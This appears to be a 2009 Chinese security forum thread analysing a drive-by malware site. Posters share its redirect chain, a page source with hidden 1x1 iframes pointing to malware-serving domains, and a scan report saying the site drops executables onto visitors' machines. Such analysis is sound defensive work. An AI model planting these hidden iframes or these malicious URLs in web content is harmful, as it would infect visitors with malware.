http://papampam.net/[挂马]

显示全部楼层 · 发表于 2009-1-3 17:40:33

time's up

网址：
[hxxp://papampam.net/in.cgi?pipka2]

关于:hxxp://papampam.net/in.cgi?pipka2解密的日志(全体输出- 5):

Level 0>http://papampam.net/in.cgi?pipka2
Level 1>http://dornaboret.com/cache/index.php
Level 1>http://portulote.com/cache/index.php
Level 2>http://portulote.com/cache/load.php
Level 2>http://portulote.com/cache/getfile.php?f=pdf

日志由 Redoce1.6第14次修正版于 2009-1-3 18:43:37 生成。

显示全部楼层 · 发表于 2009-1-3 17:49:08

http://papampam.net/in.cgi?pipka2

<iframe frameborder="off" src="http://portulote.com/cache/index.php" width=1 height=1 ></iframe>

<iframe frameborder="off" src="http://dornaboret.com/cache/index.php" width=1 height=1 ></iframe>

显示全部楼层 · 发表于 2009-1-3 17:49:38

<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /index.php was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
</body></html>

显示全部楼层 · 发表于 2009-1-3 17:49:54

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Please wate, page load....</title>
</head>

<body bgcolor="#E0E0E0"> <iframe frameborder="off" src="http://portulote.com/cache/index.php" width=1 height=1 ></iframe>
<iframe frameborder="off" src="http://dornaboret.com/cache/index.php" width=1 height=1 ></iframe>

<br><br><br>

</body>
</html>

显示全部楼层 · 发表于 2009-1-3 17:50:26

没东东出来

显示全部楼层 · 发表于 2009-1-3 18:36:55

对于网页，我觉得在虚拟机里，用fiddler分析是最简单有效的

显示全部楼层 · 发表于 2009-1-3 18:48:18

Status Severity URL Created On Scanned On Scan Duration
75 http://papampam.net/in.cgi?pipka2 Jan 3rd, 2009 - 18:46 Jan 3rd, 2009 - 18:46 11 seconds
Suspicious Link http://dornaboret.com/cache/index.php
Suspicious Link http://portulote.com/cache/index.php
Malware Injection Link Target http://portulote.com/cache/load.php
injects
(IE-TEMP)/file[1].exe into the user's filesystem.
Malware Injection Link Target http://portulote.com/cache/load.php
injects
(DESKTOP)/vasdrvwin.exe into the user's filesystem.

[其它] http://papampam.net/[挂马]

评分